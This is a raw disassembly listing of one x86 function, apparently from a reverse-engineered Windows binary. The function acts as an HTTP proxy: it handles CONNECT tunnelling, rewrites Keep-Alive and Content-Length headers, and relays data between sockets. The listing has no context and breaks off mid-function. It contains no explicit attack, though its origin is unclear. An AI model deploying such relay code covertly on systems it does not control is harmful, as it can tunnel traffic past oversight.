arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BB32
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_428388:				; CODE XREF: sub_428350+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4293A0
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F20
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_428440
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429310
; ---------------------------------------------------------------------------


loc_428440:				; CODE XREF: sub_428350+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445210
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428505
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42938F
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42938F
		jmp	loc_4286FA
; ---------------------------------------------------------------------------


loc_428505:				; CODE XREF: sub_428350+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_4286FA
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F20
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+20h+arg_180]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42938F
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_4286FA
		mov	[esp+1Ch+arg_EC], 50h


loc_4286FA:				; CODE XREF: sub_428350+1B0j
					; sub_428350+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F20
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42937E
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F20
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42936D
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4451E8 ; "\r\n"


loc_4287C1:				; CODE XREF: sub_428350+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4287E5
		test	cl, cl
		jz	short loc_4287E1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4287E5
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4287C1


loc_4287E1:				; CODE XREF: sub_428350+47Bj
		xor	eax, eax
		jmp	short loc_4287E9
; ---------------------------------------------------------------------------


loc_4287E5:				; CODE XREF: sub_428350+477j
					; sub_428350+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_4287E9:				; CODE XREF: sub_428350+493j
		test	eax, eax
		jz	loc_4288C3
		mov	edi, dword_50FACC


loc_4287F7:				; CODE XREF: sub_428350+56Dj
		mov	esi, offset byte_446F20
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_428350+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_428350+4BDj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_428350+4B9j
					; sub_428350+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_428350+4D5j
		test	eax, eax
		jz	loc_4288C3
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4293C9
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_4451E8 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4451E8 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428893:				; CODE XREF: sub_428350+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4288B7
		test	cl, cl
		jz	short loc_4288B3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4288B7
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428893


loc_4288B3:				; CODE XREF: sub_428350+54Dj
		xor	eax, eax
		jmp	short loc_4288BB
; ---------------------------------------------------------------------------


loc_4288B7:				; CODE XREF: sub_428350+549j
					; sub_428350+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_4288BB:				; CODE XREF: sub_428350+565j
		test	eax, eax
		jnz	loc_4287F7


loc_4288C3:				; CODE XREF: sub_428350+49Bj
					; sub_428350+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428917
		push	offset asc_443C4C ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428917
		cmp	byte ptr [eax],	20h
		jnz	short loc_4288FB


loc_4288F2:				; CODE XREF: sub_428350+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_4288F2


loc_4288FB:				; CODE XREF: sub_428350+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428917
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42891E
; ---------------------------------------------------------------------------


loc_428917:				; CODE XREF: sub_428350+58Dj
					; sub_428350+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42891E:				; CODE XREF: sub_428350+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_4289B6
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42949D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_4293DB
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_429438


loc_4289B6:				; CODE XREF: sub_428350+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42905E
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428A01
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_428A34
; ---------------------------------------------------------------------------


loc_428A01:				; CODE XREF: sub_428350+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_428A34:				; CODE XREF: sub_428350+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429482
		cmp	eax, ebx
		jz	loc_429482
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_4294AF
		mov	edi, offset asc_4451E8 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		xor	ebx, ebx
		mov	esi, offset asc_4451E8 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428AFE:				; CODE XREF: sub_428350+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428B22
		test	cl, cl
		jz	short loc_428B1E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428B22
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AFE


loc_428B1E:				; CODE XREF: sub_428350+7B8j
		xor	eax, eax
		jmp	short loc_428B27
; ---------------------------------------------------------------------------


loc_428B22:				; CODE XREF: sub_428350+7B4j
					; sub_428350+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428B27:				; CODE XREF: sub_428350+7D0j
		test	eax, eax
		jz	loc_428EA9


loc_428B2F:				; CODE XREF: sub_428350+B48j
		mov	esi, offset byte_446F20
		lea	eax, [esp+58h+arg_43C]


loc_428B3B:				; CODE XREF: sub_428350+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428B63
		test	cl, cl
		jz	short loc_428B5F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428B63
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428B3B


loc_428B5F:				; CODE XREF: sub_428350+7F7j
		xor	eax, eax
		jmp	short loc_428B68
; ---------------------------------------------------------------------------


loc_428B63:				; CODE XREF: sub_428350+7F3j
					; sub_428350+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428B68:				; CODE XREF: sub_428350+811j
		test	eax, eax
		jz	loc_428EA5
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428EA0
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C4A
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C4A:				; CODE XREF: sub_428350+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CD9
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428CD9:				; CODE XREF: sub_428350+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428D74
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428D74:				; CODE XREF: sub_428350+9D3j
		mov	esi, offset asc_4451E8 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428D80:				; CODE XREF: sub_428350+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DA8
		test	cl, cl
		jz	short loc_428DA4
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DA8
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D80


loc_428DA4:				; CODE XREF: sub_428350+A3Cj
		xor	eax, eax
		jmp	short loc_428DAD
; ---------------------------------------------------------------------------


loc_428DA8:				; CODE XREF: sub_428350+A38j
					; sub_428350+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428DAD:				; CODE XREF: sub_428350+A56j
		test	eax, eax
		jz	loc_428E49
		mov	esi, offset byte_446F20
		lea	eax, [esp+58h+arg_43C]


loc_428DC1:				; CODE XREF: sub_428350+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DE9
		test	cl, cl
		jz	short loc_428DE5
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428DE9
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DC1


loc_428DE5:				; CODE XREF: sub_428350+A7Dj
		xor	eax, eax
		jmp	short loc_428DEE
; ---------------------------------------------------------------------------


loc_428DE9:				; CODE XREF: sub_428350+A79j
					; sub_428350+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428DEE:				; CODE XREF: sub_428350+A97j
		test	eax, eax
		jz	short loc_428E49
		mov	edi, offset asc_4451E8 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_428E49:				; CODE XREF: sub_428350+A5Fj
					; sub_428350+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_4451E8 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428E69:				; CODE XREF: sub_428350+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E91
		test	cl, cl
		jz	short loc_428E8D
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E91
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E69


loc_428E8D:				; CODE XREF: sub_428350+B25j
		xor	eax, eax
		jmp	short loc_428E96
; ---------------------------------------------------------------------------


loc_428E91:				; CODE XREF: sub_428350+B21j
					; sub_428350+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E96:				; CODE XREF: sub_428350+B3Fj
		test	eax, eax
		jnz	loc_428B2F
		jmp	short loc_428EA5
; ---------------------------------------------------------------------------


loc_428EA0:				; CODE XREF: sub_428350+840j
		mov	[esp+58h+var_46], 1


loc_428EA5:				; CODE XREF: sub_428350+81Aj
					; sub_428350+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428EA9:				; CODE XREF: sub_428350+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428ED1
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428EED
; ---------------------------------------------------------------------------


loc_428ED1:				; CODE XREF: sub_428350+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428EED:				; CODE XREF: sub_428350+B7Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4451E8 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	ebx, ebx
		jz	loc_42901C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428FA4


loc_428F53:				; CODE XREF: sub_428350+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428FA4
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428FA4
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428FA4
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428F53


loc_428FA4:				; CODE XREF: sub_428350+C01j
					; sub_428350+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428FEE


loc_428FAA:				; CODE XREF: sub_428350+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428FEE
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428FEE
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428FAA


loc_428FEE:				; CODE XREF: sub_428350+C58j
					; sub_428350+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42927F
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_429282
; ---------------------------------------------------------------------------


loc_42901C:				; CODE XREF: sub_428350+BF7j
		mov	esi, dword_50FC90


loc_429022:				; CODE XREF: sub_428350+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428FEE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428FEE
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_429022
; ---------------------------------------------------------------------------


loc_42905E:				; CODE XREF: sub_428350+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429522
		cmp	eax, ebx
		jz	loc_429522
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_4290D0:				; CODE XREF: sub_428350+D8Bj
		cmp	[ecx], edx
		jz	short loc_4290DD
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_4290D0


loc_4290DD:				; CODE XREF: sub_428350+D82j
		cmp	eax, 1
		jnz	short loc_4290F4
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


